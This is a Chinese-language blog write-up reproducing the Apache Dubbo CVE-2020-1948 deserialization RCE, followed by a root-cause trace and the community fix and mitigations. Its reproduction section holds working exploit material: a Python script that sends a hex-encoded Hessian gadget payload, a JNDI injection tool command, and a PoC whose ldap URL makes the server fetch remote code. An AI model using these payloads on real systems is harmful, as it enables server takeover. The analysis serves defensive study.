關注該漏洞的童鞋,應該對 Dubbo
這個架構優秀的 RPC
框架不陌生,所以直入主題
漏洞詳情
騰訊安全玄武實驗室研究員發現,Dubbo 2.7.6
或更低版本采用的默認反序列化方式存在代碼執行漏洞,當 Dubbo
服務端暴露時(默認端口:20880),攻擊者可以發送未經驗證的服務名或方法名的RPC請求,同時配合附加惡意的參數負載。當惡意參數被反序列化時,它將執行惡意代碼。
經驗證該反序列化漏洞需要服務端存在可以被利用的第三方庫,而研究發現極大多數開發者都會使用的某些第三方庫存在能夠利用的攻擊鏈,攻擊者可以利用它們直接對 Dubbo
服務端進行惡意代碼執行,影響廣泛。
影響版本
dubbo 2.7.6 以下的版本
復現環境
- mac 10.15
- idea 2020.1
- jdk-8u151(下載地址)
漏洞注入簡介
漏洞發現者 rui0
,使用 Remo
模塊,最終是通過 JdbcRowSetImpl
調用 jndi
來進行遠程代碼執行
由於該場景復現依賴於低版本的 jdk,之前使用 jdk-8u221 沒能復現,去官網下載回低版本,使用低版本后成功復現
名詞解釋
- PoC:
Proof Of Concept
的縮寫。在黑客圈指:觀點驗證程序。 - CVE:
Common Vulnerabilities & Exposures
通用漏洞披露。 - Exp:
Exploit
,在安全方面,翻譯為 「利用」,指利用漏洞進行攻擊的動作。 - Payload:翻譯為「有效負荷」,指成功
exploit
后,在目標系統執行的代碼或指令。 - RCE:
remote code execution
遠程命令執行,簡稱RCE
漏洞。 - RMI: 專為
Java
環境設計的遠程方法調用機制,遠程服務器實現具體的Java
方法並提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法並獲取執行結果,使分布在不同的JVM
中的對象的外表和行為都像本地對象一樣。 - LDAP: 輕量級目錄訪問協議,目錄服務是一種以樹狀結構的目錄數據庫為基礎,外加各種訪問協議的信息查詢服務
- JNDI:
Java Naming and Directory Interface
,包括Naming Server
和Directory Server
。是一種Java API
,允許客戶端通過名稱發現和查找數據、對象。這些對象可以存儲在不同的命名或目錄服務中,例如遠程方法調用(RMI),公共對象請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)。
以上大概就是本次漏洞所涉及到的專業名詞,先有個大概了解,后面的內容看的應該比較明白。
漏洞復現
復現場景翻閱了很多篇文章和嘗試,發現通過別人構造的 payload
來復現最為簡單,所以這里記錄一下復現的流程
模擬 Provider
攻擊依賴於 rome
工具包中的 ToStringBean
工具,所以無論下載什么提供者項目,都需要將以下依賴加入到 POM.xml
文件中
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
以 dubbo-spring-boot-project
說明
- 一、在
github
下載示例代碼,切換分支到 2.7.6 或更早之前 - 二、在
pom.xml
中加入上面提到的remo
依賴 - 三、打包啟動
// 下載
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切換分支
$ git checkout 2.7.6
// 添加完依賴后,打包
$ mvn clean install -DskipTests
- 四、啟動服務提供者
啟動的時候,注意要用低版本的 JDK
,使用 IDEA
的話,可以在這里選擇編譯運行的 JRE
接着啟動 Provier
即可
運行 JNDI 程序
使用了該位大佬的 PoC
,里面注入的 URL
是 ldap://127.0.0.1:1389/Exploit
,具體原理可以 參考資料六
具體原理說明:
以下內容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用復現及POC
- 一、下載注入工具代碼
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
- 二、編譯工具包,在
target
目錄生成
$ mvn clean install -DskipTests
- 三、運行
JNDI
工具包
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
例如測試時,執行的命令是打開計算器,可以執行下面命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1
構造 PoC 對應的 payload
編輯以下 Python 腳本,觸發 dubbo provider 反序列化,例如以漏洞名來命名為 2020_1948.py
#-*-coding:utf-8-*-
import socket
def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))
def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)
run("127.0.0.1",12345)
最終復現效果:
漏洞復現小結
- 1、下載
demo
代碼,加入rome
依賴 - 2、啟動
JNDI
服務 - 3、構造
2020-1948.py
Poc 攻擊
漏洞原理簡述
網上公布的 PoC
代碼
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 12345)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])
本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString
方法,重寫了 toString
,該方法將會調用構造對象的所有 getter
方法
從上面 PoC
可以看到,執行 Dubbo
調用時,傳入的是 ToStringBean
類型參數,構造的對象是com.sun.rowset.JdbcRowSetImpl
,並且 datasource
屬性設置的是 JNDI
暴露的 url
,在調用 JdbcRowSetImpl
的 getDatabaseMetaData
方法時,執行 connect
操作,下載遠端代碼,在 Service Provider
執行,造成攻擊。
調起 toString
方法的地方是在 Dubbo Provider
接收 DecodeHandler#received:44
請求,在 DecodeableRpcInvocation#decode
反序列化參數的地方:
dubbo
默認使用的是 hession2
序列化,解析參數執行的是這個方法
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF
在 hession
反序列化過程中,通過下面代碼段執行到了 ToStringBean#toString
至此,注入攻擊的流程到這里執行完成。可以參考左下側的堆棧鏈路:
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
社區討論&安全網站修復建議
-
合並社區
aquariuspj
用戶給出的對DecodeableRpcInvocation
增加入參類型校驗 -
漏洞發現者
rui0
建議刪除RpcInvocation
類的toString
方法中輸出的arguments
參數,防范后反序列化攻擊。同時對Hessian
進行黑白名單加固來防范Hessian
反序列化攻擊。
評論建議
目前官方還未發布針對此漏洞繞過手法的補丁,在阿里雲提供一個月的默認防御期限內,建議客戶參考以下方法進行緩解,並關注官方補丁動態,及時進行更新:
- 1、升級 2.7.7 版本,並根據https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法進行參數校驗
- 禁止將
Dubbo
服務端端口開放給公網,或僅僅只對能夠連接至Dubbo
服務端的可信消費端IP開放 Dubbo
協議默認采用Hessian
作為序列化反序列化方式,該反序列化方式存在反序列化漏洞。在不影響業務的情況下,建議更換協議以及反序列化方式。具體更換方法可參考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html
思考分析&修復思路
1、復現條件有限
需要引入 rome
類型的 jar
包,包含特殊的構造方法和 toString
方法(或許還有其它攻擊點)
2、社區討論內容
社區討論和 commit
的內容,增加了前置校驗,在反序列化之前判斷服務或方法是否有效,非 $invoke
或 $echo
方法將會拋出錯誤,不進行參數的反序列化,增加了一點攻擊難度。但由於方法名 methodName
可以用戶自定義,所以修改方法名還是有可能跳過校驗,觸發漏洞
3、結合業務分析
業務方使用 rome
依賴的很少,構造這種類型的攻擊,由於沒有這個類,在 provider
反序列化時會提前報 classNotFoundException
,沒有執行到 readObject
方法,從而無法攻擊。
綜上所述,考慮到修復難度和影響范圍,最后對 dubbo 修改方案如下:
-
1、合並社區針對改漏洞的修復分支 #6374
-
2、將
RpcInvocation#toString
方法中Arrays.toString(arguments)
移除,避免對輸入參數進行反序列化
絮叨
隔行如隔山,一山還有一山高,修復漏洞真困難。感慨漏洞發現者們,多虧這些白帽子的仔細,揭露了這么多可攻擊點,將漏洞信息提交到安全中心,讓使用方了解到漏洞詳情。
還有 Dubbo
這個中間件的社區活躍度很高,出現問題后,大家討論的熱情高漲,積極去修復漏洞,社區活躍度高,代碼更新快,支持的功能越來越多,使用起來也更放心。
通過這次分析,了解到挺多基礎的安全知識,感覺隨着開源代碼被研究更透徹,可供攻擊的點也越來越多,在代碼設計和編寫時,也得注意一下安全信息,避免被攻擊。
參考資料
1、Apache Dubbo Provider 遠程代碼執行漏洞 (CVE-2020-1948)
2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用復現及POC
3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其補丁繞過深度分析
4、Apache Dubbo漏洞CVE-2020-1948分析
5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事兒(上)
8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)
10、滲透中 PoC、Exp、Payload 與 Shellcode 的區別
11、Github 社區討論